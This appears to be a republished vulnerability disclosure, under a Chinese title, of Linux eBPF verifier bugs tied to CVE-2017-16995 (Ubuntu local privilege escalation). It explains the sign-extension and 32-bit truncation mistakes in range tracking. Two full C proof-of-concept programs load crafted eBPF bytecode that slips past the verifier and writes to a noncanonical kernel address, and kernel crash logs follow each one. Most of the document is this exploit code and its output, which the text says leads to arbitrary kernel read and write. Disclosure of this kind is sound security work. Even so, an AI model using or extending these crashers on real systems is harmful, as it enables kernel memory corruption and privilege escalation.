Ubuntu本地提权漏洞(CVE-2017-16995)

Since commit f1174f77b50c (“bpf/verifier: rework value tracking”), the eBPF range tracking is security-relevant for the verification of eBPF code provided by unprivileged users. Therefore, any tiny slip-up in the arithmetic range
tracking now turns into an arbitrary read+write in the full kernel address space, which is easily exploitable. The following two bugs are such issues.

Luckily, f1174f77b50c is relatively recent and was only shipped in v4.14:

$ git describe --contains f1174f77b50c
v4.14-rc1~130^2~327^2~11

check_alu_op() doesn’t distinguish between BPF_ALU64|BPF_MOV|BPF_K (load 32-bit immediate, sign-extended to 64-bit) and BPF_ALU|BPF_MOV|BPF_K (load 32-bit immediate, zero-padded to 64-bit); it performs sign extension in both cases. The sometimes incorrect conversion occurs implicitly in the following function call:

    __mark_reg_known(regs + insn->dst_reg, insn->imm);

Here is a crasher that tries to write to a noncanonical address:

======================================
user@debian:~/bpf_range$ cat crasher_badimm.c 
#define _GNU_SOURCE
#include <err.h>
#include <stdint.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/socket.h>

/* start from kernel */
#define BPF_EMIT_CALL(FUNC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_CALL,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = (FUNC) }) /* ??? */
#define BPF_MOV32_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_K,     \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_PSEUDO_MAP_FD   1
#define BPF_LD_IMM64_RAW(DST, SRC, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_LD | BPF_DW | BPF_IMM,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = (__u32) (IMM) }),          \
    ((struct bpf_insn) {                    \
        .code  = 0, /* zero is reserved opcode */   \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_ALU32_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
    BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_ALU32_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_X,      \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_EXIT_INSN()                     \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_EXIT,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = 0 })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_REG_FP  BPF_REG_10
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_REG_TMP BPF_REG_8
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF)              \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = OFF,                   \
        .imm   = IMM })
#define BPF_MOV64_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_ALU64_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_MOV32_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_X,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
/* end from kernel */


int bpf_(int cmd, union bpf_attr *attrs) {
    return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

void array_set(int mapfd, uint32_t key, uint32_t value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key    = (uint64_t)&key,
        .value  = (uint64_t)&value,
        .flags  = BPF_ANY,
    };


    int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr);
    if (res)
        err(1, "map update elem");
}


int main(void) {
    union bpf_attr create_map_attrs = {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = 8,
        .max_entries = 16
    };
    int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
    if (mapfd == -1)
        err(1, "map create");


    array_set(mapfd, 1, 1);

    char verifier_log[100000];
    struct bpf_insn insns[] = {
        BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),

        // fill r0 with pointer to map value
        BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), // allocate 4 bytes stack
        BPF_MOV32_IMM(BPF_REG_ARG2, 1),
        BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP),
        BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
        BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit
        BPF_EXIT_INSN(), // exit

        // r1 = 0xffff'ffff, mistreated as 0xffff'ffff'ffff'ffff
        BPF_MOV32_IMM(BPF_REG_1, 0xffffffff),
        // r1 = 0x1'0000'0000, mistreated as 0
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
        // r1 = 0x1000'0000'0000'0000, mistreated as 0
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 28),

        // compute noncanonical pointer
        BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),

        // crash by writing to noncanonical pointer
        BPF_MOV32_IMM(BPF_REG_1, 0xdeadbeef),
        BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0),

        // terminate to make the verifier happy
        BPF_MOV32_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN()
    };
    union bpf_attr create_prog_attrs = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (uint64_t)insns,
        .license = (uint64_t)"",
        .log_level = 2,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log
    };
    int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
    if (progfd == -1) {
        perror("prog load");
        puts(verifier_log);
        return 1;
    }
    puts("ok so far?");

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
        err(1, "socketpair");
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
        err(1, "setsockopt");
    if (write(socks[1], "a", 1) != 1)
        err(1, "write");
    char c;
    if (read(socks[0], &c, 1) != 1)
        err(1, "read res");
    return 0;
}

user@debian:~/bpf_range$ gcc -o crasher_badimm crasher_badimm.c -Wall && ./crasher_badimm

ok so far?

Segmentation fault

Here is the resulting crash (note the corrupted heap address in R15):

[10599.403881] general protection fault: 0000 [#6] SMP KASAN
[10599.403886] Modules linked in: binfmt_misc snd_hda_codec_generic crct10dif_pclmul crc32_pclmul ghash_clmulni_intel snd_hda_intel snd_hda_codec pcbc snd_hda_core qxl snd_hwdep snd_pcm snd_timer ttm aesni_intel snd ppdev aes_x86_64 drm_kms_helper parport_pc crypto_simd soundcore glue_helper drm parport evdev cryptd sg serio_raw pcspkr virtio_console virtio_balloon button ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 fscrypto sr_mod cdrom sd_mod ata_generic 8139too ehci_pci ata_piix uhci_hcd libata ehci_hcd 8139cp crc32c_intel mii virtio_pci psmouse usbcore virtio_ring scsi_mod virtio i2c_piix4 floppy
[10599.403952] CPU: 7 PID: 1610 Comm: crasher_badimm Tainted: G    B D          4.15.0-rc1+ #4
[10599.403954] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[10599.403957] task: 000000004ae6ce3e task.stack: 000000006149ccc2
[10599.403963] RIP: 0010:___bpf_prog_run+0x1a77/0x2490
[10599.403966] RSP: 0018:ffff8801ef6bf838 EFLAGS: 00010292
[10599.403969] RAX: 0000000000000000 RBX: ffffc900016150b8 RCX: ffffffff866483d7
[10599.403971] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0fff8801ac393b78
[10599.403974] RBP: ffff8801ef6bf968 R08: 0000000000000000 R09: 0000000000000000
[10599.403976] R10: 0000000000000001 R11: ffffed00358726b9 R12: ffffffff870be980
[10599.403978] R13: 1ffff1003ded7f0e R14: 00000000deadbeef R15: 0fff8801ac393b78
[10599.403981] FS:  00007fd705b43700(0000) GS:ffff8801f77c0000(0000) knlGS:0000000000000000
[10599.403984] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[10599.403986] CR2: 0000561c31a24008 CR3: 00000001b153b002 CR4: 00000000001606e0
[10599.403991] Call Trace:
[10599.403997]  ? sk_filter_trim_cap+0x5c/0x4e0
[10599.404000]  ? bpf_jit_compile+0x30/0x30
[10599.404006]  ? alloc_skb_with_frags+0x90/0x2c0
[10599.404010]  ? __bpf_prog_run32+0x83/0xc0
[10599.404013]  ? __bpf_prog_run64+0xc0/0xc0
[10599.404017]  ? sk_filter_trim_cap+0x5c/0x4e0
[10599.404022]  ? sk_filter_trim_cap+0xf7/0x4e0
[10599.404028]  ? unix_dgram_sendmsg+0x3e2/0x960
[10599.404033]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[10599.404036]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[10599.404040]  ? sock_alloc_inode+0x46/0x110
[10599.404043]  ? unix_stream_connect+0x840/0x840
[10599.404046]  ? __sock_create+0x7f/0x2c0
[10599.404049]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[10599.404054]  ? __lock_acquire.isra.31+0x2d/0xb40
[10599.404059]  ? __wake_up_common_lock+0xaf/0x130
[10599.404065]  ? unix_stream_connect+0x840/0x840
[10599.404068]  ? sock_sendmsg+0x6b/0x80
[10599.404071]  ? sock_write_iter+0x11d/0x1d0
[10599.404075]  ? sock_sendmsg+0x80/0x80
[10599.404080]  ? do_raw_spin_unlock+0x86/0x120
[10599.404084]  ? iov_iter_init+0x77/0xb0
[10599.404089]  ? __vfs_write+0x23e/0x340
[10599.404092]  ? kernel_read+0xa0/0xa0
[10599.404098]  ? __fd_install+0x5/0x160
[10599.404102]  ? __fget_light+0x9b/0xb0
[10599.404107]  ? vfs_write+0xe9/0x240
[10599.404110]  ? SyS_write+0xa7/0x130
[10599.404121]  ? SyS_read+0x130/0x130
[10599.404125]  ? lockdep_sys_exit+0x16/0x8e
[10599.404129]  ? lockdep_sys_exit_thunk+0x16/0x2b
[10599.404133]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[10599.404138] Code: 00 48 0f bf 43 fa 49 01 c7 0f b6 43 f9 c0 e8 04 0f b6 c0 4c 8d 74 c5 00 4c 89 f7 e8 04 4a 0f 00 4d 8b 36 4c 89 ff e8 79 49 0f 00 <45> 89 37 e9 17 e6 ff ff 48 8d 7b 01 e8 58 47 0f 00 0f b6 43 01 
[10599.404200] RIP: ___bpf_prog_run+0x1a77/0x2490 RSP: ffff8801ef6bf838
[10599.404204] ---[ end trace e8c17e9abe81bd46 ]---

The second bug is a mistake in coerce_reg_to_32(). This function is used to handle the implicit truncation to 32 bits caused by the use of 32-bit ALU instructions and contains the following code:

    static void coerce_reg_to_32(struct bpf_reg_state *reg)
    {
            /* clear high 32 bits */
            reg->var_off = tnum_cast(reg->var_off, 4);
            /* Update bounds */
            __update_reg_bounds(reg);
    }

This first mirrors the clearing of the high 32 bits in the bitwise tristate representation, which is correct. But then, it computes the new arithmetic bounds as the intersection between the old arithmetic bounds and the bounds
resulting from the bitwise tristate representation. Therefore, when coerce_reg_to_32() is called on a number with bounds [0xffff’fff8, 0x1’0000’0007], the verifier computes [0xffff’fff8, 0xffff’ffff] as bounds of the truncated number. This is incorrect: The truncated number could also be in the range [0, 7], and no meaningful arithmetic bounds can be computed (apart from the obvious [0, 0xffff’ffff]).

The same bug seems to be present in the other places that call tnum_cast().

Here is a crasher that uses this to again write to a noncanonical address:

#define _GNU_SOURCE
#include <err.h>
#include <stdint.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <asm/unistd_64.h>
#include <sys/types.h>
#include <sys/socket.h>

/* start from kernel */
#define BPF_EMIT_CALL(FUNC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_CALL,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = (FUNC) }) /* ??? */
#define BPF_MOV32_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_K,     \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_REG_ARG1    BPF_REG_1
#define BPF_REG_ARG2    BPF_REG_2
#define BPF_REG_ARG3    BPF_REG_3
#define BPF_REG_ARG4    BPF_REG_4
#define BPF_REG_ARG5    BPF_REG_5
#define BPF_PSEUDO_MAP_FD   1
#define BPF_LD_IMM64_RAW(DST, SRC, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_LD | BPF_DW | BPF_IMM,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = (__u32) (IMM) }),          \
    ((struct bpf_insn) {                    \
        .code  = 0, /* zero is reserved opcode */   \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = ((__u64) (IMM)) >> 32 })
#define BPF_ALU32_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_LD_MAP_FD(DST, MAP_FD)              \
    BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_ALU32_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_OP(OP) | BPF_X,      \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_EXIT_INSN()                     \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_EXIT,            \
        .dst_reg = 0,                   \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = 0 })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_REG_FP  BPF_REG_10
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_ALU64_IMM(OP, DST, IMM)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_K,    \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_MOV64_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_X,       \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_REG_TMP BPF_REG_8
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)            \
    ((struct bpf_insn) {                    \
        .code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = OFF,                   \
        .imm   = 0 })
#define BPF_JMP_IMM(OP, DST, IMM, OFF)              \
    ((struct bpf_insn) {                    \
        .code  = BPF_JMP | BPF_OP(OP) | BPF_K,      \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = OFF,                   \
        .imm   = IMM })
#define BPF_MOV64_IMM(DST, IMM)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
        .dst_reg = DST,                 \
        .src_reg = 0,                   \
        .off   = 0,                 \
        .imm   = IMM })
#define BPF_ALU64_REG(OP, DST, SRC)             \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU64 | BPF_OP(OP) | BPF_X,    \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
#define BPF_MOV32_REG(DST, SRC)                 \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_X,     \
        .dst_reg = DST,                 \
        .src_reg = SRC,                 \
        .off   = 0,                 \
        .imm   = 0 })
/* end from kernel */


int bpf_(int cmd, union bpf_attr *attrs) {
    return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

void array_set(int mapfd, uint32_t key, uint32_t value) {
    union bpf_attr attr = {
        .map_fd = mapfd,
        .key    = (uint64_t)&key,
        .value  = (uint64_t)&value,
        .flags  = BPF_ANY,
    };


    int res = bpf_(BPF_MAP_UPDATE_ELEM, &attr);
    if (res)
        err(1, "map update elem");
}


int main(void) {
    union bpf_attr create_map_attrs = {
        .map_type = BPF_MAP_TYPE_ARRAY,
        .key_size = 4,
        .value_size = 8,
        .max_entries = 16
    };
    int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
    if (mapfd == -1)
        err(1, "map create");


    array_set(mapfd, 1, 1);

    char verifier_log[100000];
    struct bpf_insn insns[] = {
        BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),

        // fill r3 with value in range [0x0, 0xf], actually 0x8:
        // first load map value pointer...
        BPF_MOV64_REG(BPF_REG_TMP, BPF_REG_FP),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_TMP, -4), // allocate 4 bytes stack
        BPF_MOV32_IMM(BPF_REG_ARG2, 1),
        BPF_STX_MEM(BPF_W, BPF_REG_TMP, BPF_REG_ARG2, 0),
        BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_TMP),
        BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
        BPF_MOV64_REG(BPF_REG_0, 0), // prepare exit
        BPF_EXIT_INSN(), // exit

        // ... then write, read, mask map value
        // (tracing actual values through a map is impossible)
        BPF_MOV32_IMM(BPF_REG_3, 8),
        BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_3, 0),
        BPF_LDX_MEM(BPF_W, BPF_REG_3, BPF_REG_0, 0),
        BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 0xf),

        // load r1=0xffff'fff8 while working around the first verifier bug
        BPF_MOV32_IMM(BPF_REG_1, 0xfffffff8>>1),
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_1),

        // r1 in range [0xffff'fff8, 0x1'0000'0007]
        BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3),

        // load r2=0
        BPF_MOV32_IMM(BPF_REG_2, 0),

        // trigger verifier bug:
        // visible range: [0xffff'fff8, 0xffff'ffff]
        // hidden range: [0, 7]
        // actual value: 0
        BPF_ALU32_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),

        // collapse down: verifier sees 1, actual value 0
        BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 31),

        // flip: verifier sees 0, actual value 1
        BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, -1),

        // r1 = 0x1000'0000'0000'0000, verifier sees 0
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 60),

        // compute noncanonical pointer
        BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),

        // crash by writing to noncanonical pointer
        BPF_MOV32_IMM(BPF_REG_1, 0xdeadbeef),
        BPF_STX_MEM(BPF_W, BPF_REG_0, BPF_REG_1, 0),

        // terminate to make the verifier happy
        BPF_MOV32_IMM(BPF_REG_0, 0),
        BPF_EXIT_INSN()
    };
    union bpf_attr create_prog_attrs = {
        .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
        .insn_cnt = sizeof(insns) / sizeof(insns[0]),
        .insns = (uint64_t)insns,
        .license = (uint64_t)"",
        .log_level = 2,
        .log_size = sizeof(verifier_log),
        .log_buf = (uint64_t)verifier_log
    };
    int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
    if (progfd == -1) {
        perror("prog load");
        puts(verifier_log);
        return 1;
    }
    puts("ok so far?");

    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
        err(1, "socketpair");
    if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
        err(1, "setsockopt");
    if (write(socks[1], "a", 1) != 1)
        err(1, "write");
    char c;
    if (read(socks[0], &c, 1) != 1)
        err(1, "read res");
    return 0;
}

user@debian:~/bpf_range$ gcc -o crasher_badtrunc crasher_badtrunc.c -Wall && ./crasher_badtrunc

ok so far?

Segmentation fault

Here’s the resulting crash:

[  117.274571] general protection fault: 0000 [#2] SMP KASAN
[  117.274575] Modules linked in: binfmt_misc snd_hda_codec_generic qxl snd_hda_intel snd_hda_codec ttm snd_hda_core drm_kms_helper snd_hwdep crct10dif_pclmul snd_pcm drm crc32_pclmul ghash_clmulni_intel snd_timer pcbc aesni_intel aes_x86_64 snd crypto_simd evdev glue_helper soundcore ppdev cryptd virtio_balloon sg virtio_console serio_raw parport_pc parport pcspkr button ip_tables x_tables autofs4 ext4 crc16 mbcache jbd2 fscrypto sr_mod sd_mod cdrom ata_generic 8139too ehci_pci virtio_pci crc32c_intel ata_piix uhci_hcd psmouse virtio_ring virtio floppy ehci_hcd libata usbcore scsi_mod 8139cp i2c_piix4 mii
[  117.274640] CPU: 1 PID: 1197 Comm: crasher_badtrun Tainted: G    B D          4.15.0-rc1+ #4
[  117.274642] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[  117.274645] task: 00000000a02f12e8 task.stack: 0000000051644a73
[  117.274651] RIP: 0010:___bpf_prog_run+0x1a77/0x2490
[  117.274654] RSP: 0018:ffff8801af4e7838 EFLAGS: 00010292
[  117.274657] RAX: 0000000000000000 RBX: ffffc90001305108 RCX: ffffffff928483d7
[  117.274659] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0fff8801ac81e0f8
[  117.274661] RBP: ffff8801af4e7968 R08: 0000000000000000 R09: 0000000000000000
[  117.274664] R10: 0000000000000001 R11: ffffed003dfa0601 R12: ffffffff932be980
[  117.274666] R13: 1ffff10035e9cf0e R14: 00000000deadbeef R15: 0fff8801ac81e0f8
[  117.274669] FS:  00007f3efe927700(0000) GS:ffff8801f7640000(0000) knlGS:0000000000000000
[  117.274671] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  117.274674] CR2: 00005654507a9008 CR3: 00000001ec086003 CR4: 00000000001606e0
[  117.274678] Call Trace:
[  117.274685]  ? sk_filter_trim_cap+0x5c/0x4e0
[  117.274688]  ? bpf_jit_compile+0x30/0x30
[  117.274693]  ? alloc_skb_with_frags+0x90/0x2c0
[  117.274697]  ? __bpf_prog_run32+0x83/0xc0
[  117.274700]  ? __bpf_prog_run64+0xc0/0xc0
[  117.274705]  ? sk_filter_trim_cap+0x5c/0x4e0
[  117.274710]  ? sk_filter_trim_cap+0xf7/0x4e0
[  117.274715]  ? unix_dgram_sendmsg+0x3e2/0x960
[  117.274720]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[  117.274724]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[  117.274728]  ? sock_alloc_inode+0x46/0x110
[  117.274731]  ? unix_stream_connect+0x840/0x840
[  117.274734]  ? __sock_create+0x7f/0x2c0
[  117.274737]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[  117.274742]  ? __lock_acquire.isra.31+0x2d/0xb40
[  117.274746]  ? __wake_up_common_lock+0xaf/0x130
[  117.274752]  ? unix_stream_connect+0x840/0x840
[  117.274755]  ? sock_sendmsg+0x6b/0x80
[  117.274759]  ? sock_write_iter+0x11d/0x1d0
[  117.274762]  ? sock_sendmsg+0x80/0x80
[  117.274768]  ? do_raw_spin_unlock+0x86/0x120
[  117.274782]  ? iov_iter_init+0x77/0xb0
[  117.274786]  ? __vfs_write+0x23e/0x340
[  117.274799]  ? kernel_read+0xa0/0xa0
[  117.274805]  ? __fd_install+0x5/0x160
[  117.274809]  ? __fget_light+0x9b/0xb0
[  117.274813]  ? vfs_write+0xe9/0x240
[  117.274817]  ? SyS_write+0xa7/0x130
[  117.274820]  ? SyS_read+0x130/0x130
[  117.274823]  ? lockdep_sys_exit+0x16/0x8e
[  117.274827]  ? lockdep_sys_exit_thunk+0x16/0x2b
[  117.274831]  ? entry_SYSCALL_64_fastpath+0x1e/0x86
[  117.274836] Code: 00 48 0f bf 43 fa 49 01 c7 0f b6 43 f9 c0 e8 04 0f b6 c0 4c 8d 74 c5 00 4c 89 f7 e8 04 4a 0f 00 4d 8b 36 4c 89 ff e8 79 49 0f 00 <45> 89 37 e9 17 e6 ff ff 48 8d 7b 01 e8 58 47 0f 00 0f b6 43 01 
[  117.274885] RIP: ___bpf_prog_run+0x1a77/0x2490 RSP: ffff8801af4e7838
[  117.274888] ---[ end trace e84b3275ee7b48c9 ]---

I just noticed that there may be a remaining issue: adjust_scalar_min_max_vals() only truncates its inputs and otherwise operates on 64-bit numbers while the BPF interpreter and JIT perform 32-bit arithmetic. AFAICS this means that the output of e.g. (u32)0x40000000*(u32)5 will be incorrect. To test this, you can use the following BPF code:

        BPF_MOV32_IMM(BPF_REG_1, 0x40000000),
        BPF_ALU32_IMM(BPF_MUL, BPF_REG_1, 5),
        BPF_EXIT_INSN()

The verifier generates the following output, which is, as far as I can tell, incorrect:

        0: R1=ctx(id=0,off=0,imm=0) R10=fp0
        0: (b4) (u32) r1 = (u32) 1073741824
        1: R1=inv1073741824 R10=fp0
        1: (24) (u32) r1 *= (u32) 5
        2: R1=inv5368709120 R10=fp0
        2: (95) exit
        R0 !read_ok